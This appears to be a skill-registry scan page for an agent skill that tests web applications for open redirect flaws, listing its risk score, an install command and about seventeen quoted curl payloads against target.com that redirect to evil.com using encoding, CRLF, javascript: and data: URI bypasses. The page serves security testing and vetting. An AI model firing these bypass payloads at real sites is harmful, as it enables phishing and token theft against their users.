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testing-for-open-redirect-vulnerabilities
90 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By plurigrid/asi (GitHub) · coding · 72 stars · scanned at commit 293ce9f
Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target.com, evil.com, target.com@evil.com, evil.com%00.target.com, target.com.evil.com
The author does not mention this.
Found in 24 places.
Show 17 more
- plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 52
curl -v "http://target.com/redirect?url=https://evil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 55
curl -v "http://target.com/redirect?url=//evil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 58
curl -v "http://target.com/redirect?url=https://target.com@evil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 61
curl -v "http://target.com/redirect?url=https://evil.com\@target.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 64
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 70
curl -v "http://target.com/redirect?url=https://target.com.evil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 71
curl -v "http://target.com/redirect?url=https://evil.com/target.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 74
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 75
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 78
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 81
curl -v "http://target.com/redirect?url=HtTpS://evil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 84
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 87
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 90
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 96
curl -v "http://target.com/redirect?url=/\evil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 97
curl -v "http://target.com/redirect?url=/.evil.com" - plugins/asi/skills/testing-for-open-redirect-vulnerabilities/SKILL.md, line 100
curl -v "http://target.com/redirect?url=/../../../evil.com"
and 4 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 6 places.
Show 3 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'testing-for-open-redirect-vulnerabilities' ] || [ -L ~/.agents/skills/'testing-for-open-redirect-vulnerabilities' ]; then echo 'A skill folder named testing-for-open-redirect-vulnerabilities already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/plurigrid/asi' "$d" && git -C "$d" checkout --quiet '293ce9f76e3abcd5ba18db284688bc0d9ac6691d' -- 'plugins/asi/skills/testing-for-open-redirect-vulnerabilities' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/asi/skills/testing-for-open-redirect-vulnerabilities' ~/.agents/skills/'testing-for-open-redirect-vulnerabilities' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'testing-for-open-redirect-vulnerabilities' ~/.claude/skills/'testing-for-open-redirect-vulnerabilities' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for plurigrid/asi shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/plurigrid/asi/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | 293ce9f | 90 |